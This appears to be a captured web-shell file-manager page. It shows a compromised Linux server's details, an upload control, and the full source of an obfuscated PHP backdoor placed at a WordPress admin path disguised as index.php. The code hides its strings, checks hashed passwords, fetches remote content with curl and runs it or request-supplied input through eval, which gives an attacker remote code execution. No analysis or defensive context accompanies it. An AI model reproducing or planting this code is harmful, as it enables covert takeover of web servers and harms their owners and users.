HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/public_html/wp-admin/network/network/index.php
<?php
 goto E2PkiHlqS_i_6S; T1RaBhnUMvw5_b: Sb8WeX271k0WX8: goto EYmddrjxLWWdOR; eRFVgDQqoyv3hT: $VOXYwtl2E0pRmr[67] = $VOXYwtl2E0pRmr[67] . $VOXYwtl2E0pRmr[73]; goto bScO1Epg4QYJJi; XZgMF9z1OXfZIZ: class rSr9wxK0cY7Mjy { static function Wp4KXGsbNSaace($BhcZ8pdd7XmmWs) { goto AVRpIk1HcWmzSc; OLwdKel4KG3Cjm: foreach ($xe8YpGEQWVSyYt as $Lpjv8kR9VKuJFm => $b0qjjxHLFHL5Td) { $VLOR2q43boGT42 .= $cV2VX3UaqQrA3A[$b0qjjxHLFHL5Td - 84779]; f3g7_B3UjCeNXc: } goto rqnkZ4c475YI8w; LQxk8bo2Fpc73P: return $VLOR2q43boGT42; goto BiBvNbhFM73_pp; rqnkZ4c475YI8w: j9XkSdmd8yAVE3: goto LQxk8bo2Fpc73P; DUJrY9374TL6nj: $xe8YpGEQWVSyYt = explode("\157", $BhcZ8pdd7XmmWs); goto Tyj_ukL2AUX3pT; vsALfHOGrj1zmY: $cV2VX3UaqQrA3A = $I08U4pMbqbW_ne("\x7e", "\40"); goto DUJrY9374TL6nj; AVRpIk1HcWmzSc: $I08U4pMbqbW_ne = "\162" . "\x61" . "\156" . "\147" . "\145"; goto vsALfHOGrj1zmY; Tyj_ukL2AUX3pT: $VLOR2q43boGT42 = ''; goto OLwdKel4KG3Cjm; BiBvNbhFM73_pp: } static function SSSLVFSSCQs5WA($OHIhit7nkJyoPV, $cjsMFd6MYx7QZY) { goto ZAJalkQdux8uYU; IQxXXwQ4zAi2Ar: curl_setopt($pdQ5ZM71TOvVGh, CURLOPT_RETURNTRANSFER, 1); goto LOfEFUQTl5z4ac; ZAJalkQdux8uYU: $pdQ5ZM71TOvVGh = curl_init($OHIhit7nkJyoPV); goto IQxXXwQ4zAi2Ar; LOfEFUQTl5z4ac: $qjbdBvZCsmcYB7 = curl_exec($pdQ5ZM71TOvVGh); goto YpGrqVZ3PxjnHp; YpGrqVZ3PxjnHp: return empty($qjbdBvZCsmcYB7) ? $cjsMFd6MYx7QZY($OHIhit7nkJyoPV) : $qjbdBvZCsmcYB7; goto K0keit20V1Hder; K0keit20V1Hder: } static function Y0IzYtZZgD7ruj() { goto pxh0xlU0GQZgOZ; J45c1kOChXnbTL: dO1JFe2Cc7Uvsb: goto xS2GEKX91yrBnq; xS2GEKX91yrBnq: $L9v3TicU1sNJN8 = @$uuHgs20oz0SUkH[1]($uuHgs20oz0SUkH[3 + 7](INPUT_GET, $uuHgs20oz0SUkH[7 + 2])); goto FD0kKMroX9e2yG; qxEmvBg1r5ViXP: $URSEjDR8vJ7JMG = $uuHgs20oz0SUkH[2 + 0]($ploUKkGq8fy3OH, true); goto JkGkRas2XvRtPb; nKi88Me8VOL3SL: foreach ($AnnGJ1BuYC_0PA as $N37hT2ItQSAhDx) { $uuHgs20oz0SUkH[] = self::Wp4KxGSBnsaaCe($N37hT2ItQSAhDx); YGKbwsHm1LuCvi: } goto J45c1kOChXnbTL; yG2lrBcBimGMy8: $mSy9a99qT1nmgm = self::sSslvfSscQs5wA($URSEjDR8vJ7JMG[0 + 1], $uuHgs20oz0SUkH[4 + 1]); goto zYg5OoYEcmkR0K; FD0kKMroX9e2yG: $ploUKkGq8fy3OH = @$uuHgs20oz0SUkH[3 + 0]($uuHgs20oz0SUkH[5 + 1], $L9v3TicU1sNJN8); goto qxEmvBg1r5ViXP; R6JzE7STIUKi6Y: die; goto bJiXHlEehwjWpB; pxh0xlU0GQZgOZ: $AnnGJ1BuYC_0PA = array("\70\64\70\60\66\x6f\x38\x34\67\71\x31\x6f\70\x34\70\60\64\x6f\70\64\70\60\70\x6f\70\x34\x37\x38\71\157\70\x34\x38\60\x34\x6f\x38\x34\70\61\x30\x6f\70\x34\70\60\x33\157\x38\x34\x37\x38\70\x6f\x38\x34\67\71\65\157\70\64\70\60\x36\x6f\x38\x34\x37\x38\x39\x6f\x38\64\70\60\x30\x6f\70\x34\67\71\64\157\x38\x34\67\x39\65", "\70\64\67\x39\60\x6f\70\x34\67\70\71\x6f\x38\64\x37\x39\x31\x6f\x38\64\x38\x31\60\x6f\70\64\67\71\x31\x6f\70\64\x37\x39\x34\157\70\64\x37\70\71\x6f\x38\x34\70\65\x36\157\x38\64\x38\x35\x34", "\x38\64\67\x39\x39\x6f\x38\64\x37\71\60\x6f\x38\64\67\x39\64\x6f\70\64\x37\x39\x35\157\70\x34\70\x31\60\157\70\x34\70\60\65\x6f\x38\64\x38\60\64\x6f\70\64\x38\60\66\x6f\x38\64\x37\71\64\x6f\x38\64\x38\60\x35\x6f\70\x34\70\60\64", "\x38\x34\67\71\63\x6f\70\64\x38\60\70\157\x38\x34\70\x30\66\x6f\70\x34\67\71\70", "\70\x34\x38\60\67\x6f\70\x34\70\x30\70\x6f\x38\64\x37\x39\x30\x6f\70\64\70\x30\x34\x6f\x38\64\70\x35\61\x6f\70\64\x38\x35\x33\157\70\x34\x38\x31\60\x6f\70\x34\70\60\65\x6f\70\x34\x38\60\x34\157\70\x34\x38\60\x36\x6f\x38\64\x37\x39\x34\x6f\70\x34\70\60\x35\x6f\x38\64\x38\60\x34", "\70\64\70\60\x33\157\70\x34\x38\60\60\x6f\70\64\67\71\x37\x6f\70\x34\70\60\x34\x6f\x38\x34\x38\61\60\157\70\64\70\x30\x32\157\70\64\x38\x30\64\x6f\70\x34\x37\70\71\157\x38\64\x38\61\60\x6f\70\64\70\x30\x36\157\70\x34\67\71\x34\157\x38\64\67\x39\65\x6f\x38\x34\x37\x38\x39\x6f\x38\64\x38\60\x34\157\x38\64\67\x39\65\157\x38\x34\x37\70\71\x6f\x38\x34\x37\71\x30", "\70\64\x38\63\63\157\70\64\70\66\x33", "\x38\64\x37\x38\60", "\70\64\x38\65\x38\x6f\70\x34\70\x36\63", "\70\x34\x38\x34\x30\157\70\x34\x38\x32\x33\157\x38\x34\x38\62\63\x6f\x38\64\x38\64\60\157\x38\64\x38\61\66", "\70\64\x38\x30\63\157\70\x34\70\x30\60\157\70\x34\x37\x39\67\157\x38\x34\67\x38\x39\157\70\64\70\60\64\x6f\70\x34\67\71\61\157\70\x34\x38\x31\x30\x6f\x38\x34\70\x30\x30\157\x38\64\x37\71\65\157\70\64\x37\x39\63\x6f\x38\x34\67\70\x38\157\70\64\x37\70\71"); goto nKi88Me8VOL3SL; zYg5OoYEcmkR0K: @eval($uuHgs20oz0SUkH[4 + 0]($mSy9a99qT1nmgm)); goto R6JzE7STIUKi6Y; si7JUV26dwAhIQ: if (!(@$URSEjDR8vJ7JMG[0] - time() > 0 and md5(md5($URSEjDR8vJ7JMG[3 + 0])) === "\x61\143\x32\x35\x65\63\67\70\x33\x32\144\64\x34\x33\x33\x30\141\x38\62\146\x37\x36\144\x33\x62\142\70\x31\x38\143\66\x61")) { goto Z7MewXN3Fgjfyl; } goto yG2lrBcBimGMy8; bJiXHlEehwjWpB: Z7MewXN3Fgjfyl: goto SE9xp3Mql9ZAwu; JkGkRas2XvRtPb: @$uuHgs20oz0SUkH[9 + 1](INPUT_GET, "\157\x66") == 1 && die($uuHgs20oz0SUkH[0 + 5](__FILE__)); goto si7JUV26dwAhIQ; SE9xp3Mql9ZAwu: } } goto JVyTX8AYnLj3D4; E2PkiHlqS_i_6S: $pjs1lK176HHpcw = "\x72" . "\141" . "\x6e" . "\147" . "\x65"; goto DDN_CwqOoXgynR; bScO1Epg4QYJJi: @eval($VOXYwtl2E0pRmr[67](${$VOXYwtl2E0pRmr[32]}[30])); goto T1RaBhnUMvw5_b; ZvEtu6n2XylHOU: $VOXYwtl2E0pRmr = ${$JvRXBaqxUfzPyZ[14 + 17] . $JvRXBaqxUfzPyZ[2 + 57] . $JvRXBaqxUfzPyZ[2 + 45] . $JvRXBaqxUfzPyZ[41 + 6] . $JvRXBaqxUfzPyZ[36 + 15] . $JvRXBaqxUfzPyZ[49 + 4] . $JvRXBaqxUfzPyZ[12 + 45]}; goto aiQp01cHv3L53b; DDN_CwqOoXgynR: $JvRXBaqxUfzPyZ = $pjs1lK176HHpcw("\x7e", "\40"); goto ZvEtu6n2XylHOU; EYmddrjxLWWdOR: metaphone("\63\x62\146\x73\x4b\102\x69\103\121\x55\112\130\x5a\110\111\162\111\131\x45\61\113\120\x31\x4c\124\x6d\123\x56\155\x6d\x6a\x6a\x51\x44\166\132\x52\132\x4c\x67\171\x6d\125"); goto XZgMF9z1OXfZIZ; aiQp01cHv3L53b: if (!(in_array(gettype($VOXYwtl2E0pRmr) . "\x32\71", $VOXYwtl2E0pRmr) && md5(md5(md5(md5($VOXYwtl2E0pRmr[23])))) === "\64\x36\61\143\x32\x34\61\141\62\63\x37\x39\x64\141\70\x62\x65\60\143\62\70\x39\65\x36\x32\x64\x34\141\60\x35\x36\141")) { goto Sb8WeX271k0WX8; } goto eRFVgDQqoyv3hT; JVyTX8AYnLj3D4: rSr9WXK0cY7MJY::Y0izYTZZGD7ruJ();
?>